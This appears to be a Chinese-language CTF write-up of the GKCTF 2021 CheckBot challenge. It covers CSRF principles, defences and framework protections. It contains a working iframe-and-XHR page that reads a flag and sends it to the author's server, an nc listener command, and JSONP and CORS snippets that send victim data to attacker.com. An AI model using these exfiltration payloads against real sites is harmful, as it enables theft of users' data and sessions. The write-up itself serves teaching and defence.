从GKCTF 2021 CheckBot看CSRF攻击的实战应用
1. CSRF攻击初探：从CheckBot题目说起
第一次看到GKCTF 2021的CheckBot题目时，我眼前一亮——这简直是个教科书级的CSRF实战案例。题目设计得很巧妙：你需要让一个自动化的bot（可以理解为模拟管理员行为的程序）点击你构造的恶意链接，然后通过跨站请求伪造（CSRF）的方式窃取flag。
这道题的核心在于理解几个关键点：
- 题目页面有个admin.php接口，里面藏着flag
- 但这个接口只允许本地访问（127.0.0.1）
- 题目提供的bot会点击你提交的任何链接
这就像是你知道银行金库的密码，但必须让银行经理亲自去开保险箱。CSRF就是那个能说服经理帮你开保险箱的"魔法"。
2. 解题思路拆解：如何让bot帮我们偷flag
2.1 理解题目环境
我刚开始解题时，习惯性地先查看网页源代码。果然在注释里发现了提示：需要通过POST方式提交URI。这提示我们可能需要构造一个特殊的请求。
admin.php页面明显是关键，但直接访问会返回403禁止访问——因为它设置了本地访问限制。这时候常规的XSS攻击可能行不通，因为JavaScript的同源策略会阻止我们直接读取跨域内容。
2.2 构造恶意页面
我的解决方法是创建一个包含iframe的恶意页面：
<html> <body> <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe> <script> window.onload = function(){ let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML; var exportFlag = new XMLHttpRequest(); exportFlag.open('get', 'http://我的服务器IP:端口/flagis-' + window.btoa(flag)); exportFlag.send(); } </script> </body> </html>这个代码做了三件事：
- 创建一个iframe加载admin.php（因为是bot访问，所以可以绕过本地限制）
- 等iframe加载完成后，从中提取flag内容
- 通过XHR请求把flag发送到我的服务器
2.3 部署与监听
把这段代码部署到公网服务器后，我做了以下准备：
- 在服务器上使用nc命令监听指定端口：
nc -lvnp 6663 - 把恶意页面URL提交给题目bot
- 耐心等待（有时候需要几分钟）
当bot访问我的恶意页面时，它会以本地身份加载admin.php，然后我的脚本就能成功窃取flag并发送到我的服务器。
3. CSRF攻击的底层原理
3.1 什么是CSRF？
跨站请求伪造（CSRF）是一种利用受害者已登录状态发起恶意请求的攻击方式。简单来说，就是让受害者的浏览器"代替"攻击者发送请求。
打个比方：假设你在咖啡店登录了银行网站没退出。我递给你一张写着"请转账1000元给小明"的纸条，你顺手就交给了柜台。因为柜台认得你是已认证客户，就直接执行了——这就是CSRF的精髓。
3.2 CSRF与XSS的区别
很多新手容易混淆CSRF和XSS，其实它们有本质区别：
| 特性 | CSRF | XSS |
|---|---|---|
| 攻击目标 | 利用用户身份执行操作 | 窃取用户数据或会话 |
| 执行位置 | 受害者的浏览器 | 受害者的浏览器 |
| 依赖条件 | 用户已认证 | 网站存在注入漏洞 |
| 典型场景 | 转账、改密码等操作 | 窃取cookie、钓鱼 |
在CheckBot题目中，我们实际上是结合了CSRF和少量DOM操作——用CSRF绕过本地限制，然后用JavaScript提取内容。
4. 防御CSRF的实战方案
4.1 服务端防御措施
根据OWASP建议，最有效的CSRF防护措施包括：
- CSRF Token：为每个表单生成唯一token
// 生成token $_SESSION['token'] = bin2hex(random_bytes(32)); // 验证token if (!hash_equals($_SESSION['token'], $_POST['token'])) { die("CSRF token validation failed"); }- SameSite Cookie属性：
// 设置Cookie时添加SameSite属性 setcookie('sessionid', $value, [ 'samesite' => 'Strict', 'secure' => true, 'httponly' => true ]);- 检查Origin/Referer头：
$allowedOrigins = ['https://example.com']; if (!in_array($_SERVER['HTTP_ORIGIN'], $allowedOrigins)) { header('HTTP/1.1 403 Forbidden'); exit; }4.2 前端补充防护
虽然主要防护应该在后端，但前端也可以做些补充：
- 敏感操作要求二次确认
- 关键表单使用CAPTCHA验证
- 避免使用GET请求修改数据
5. CTF中的CSRF变种攻击
在实战CTF比赛中，CSRF经常与其他漏洞结合出现。除了CheckBot这种经典形式，我还遇到过几种变种：
- JSONP劫持：利用回调函数窃取数据
<script> function stealData(data) { new Image().src = 'http://attacker.com/?data='+JSON.stringify(data); } </script> <script src="https://victim.com/api?callback=stealData"></script>- CORS滥用：利用宽松的CORS配置
fetch('https://victim.com/api', { credentials: 'include' // 携带cookie }) .then(res => res.json()) .then(data => exfiltrate(data));- Flash CSRF：利用已淘汰但可能存在的Flash组件
这些攻击方式在近年CTF比赛中都有出现，理解它们的原理对Web安全学习很有帮助。
6. 从开发视角看CSRF防护
作为开发者，我建议在项目初期就考虑CSRF防护。现代框架通常内置防护机制：
Django：
# 在模板中自动添加token <form method="post">{% csrf_token %}Spring Security：
@Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } }Express：
const csrf = require('csurf'); const csrfProtection = csrf({ cookie: true }); app.post('/transfer', csrfProtection, (req, res) => { // 处理表单 });这些框架的实现方式各有特点，但核心思想都是验证请求的合法性。
7. 漏洞挖掘实战技巧
如果你想在CTF比赛或合法渗透测试中寻找CSRF漏洞，我有几个实用技巧：
- 检查表单是否缺少token：手动移除token看是否仍然有效
- 观察Cookie的SameSite属性：Chrome开发者工具的Application面板
- 测试JSONP接口：尝试添加callback参数
- 验证CORS配置：发送带有Origin头的OPTIONS请求
- 检查重定向逻辑：有些SSRF漏洞可能转化为CSRF
在真实环境中，我通常会使用Burp Suite的CSRF PoC生成器快速测试漏洞存在性。但记住，未经授权的测试是违法的，一定要获得明确授权。
8. 扩展思考：CSRF在现代Web中的演变
随着Web技术的发展，CSRF攻击面也在变化。最近几年我注意到几个趋势：
- GraphQL的CSRF：虽然GraphQL通常使用POST，但错误配置可能导致CSRF
- REST API的风险：过度依赖Cookie认证的API容易受到攻击
- 移动端CSRF：App内WebView的认证持久化可能带来风险
- OAuth滥用：恶意利用OAuth的回调机制
这些新兴场景提醒我们，安全防护需要与时俱进。即便是"古老"的CSRF，在新环境下也可能焕发新生。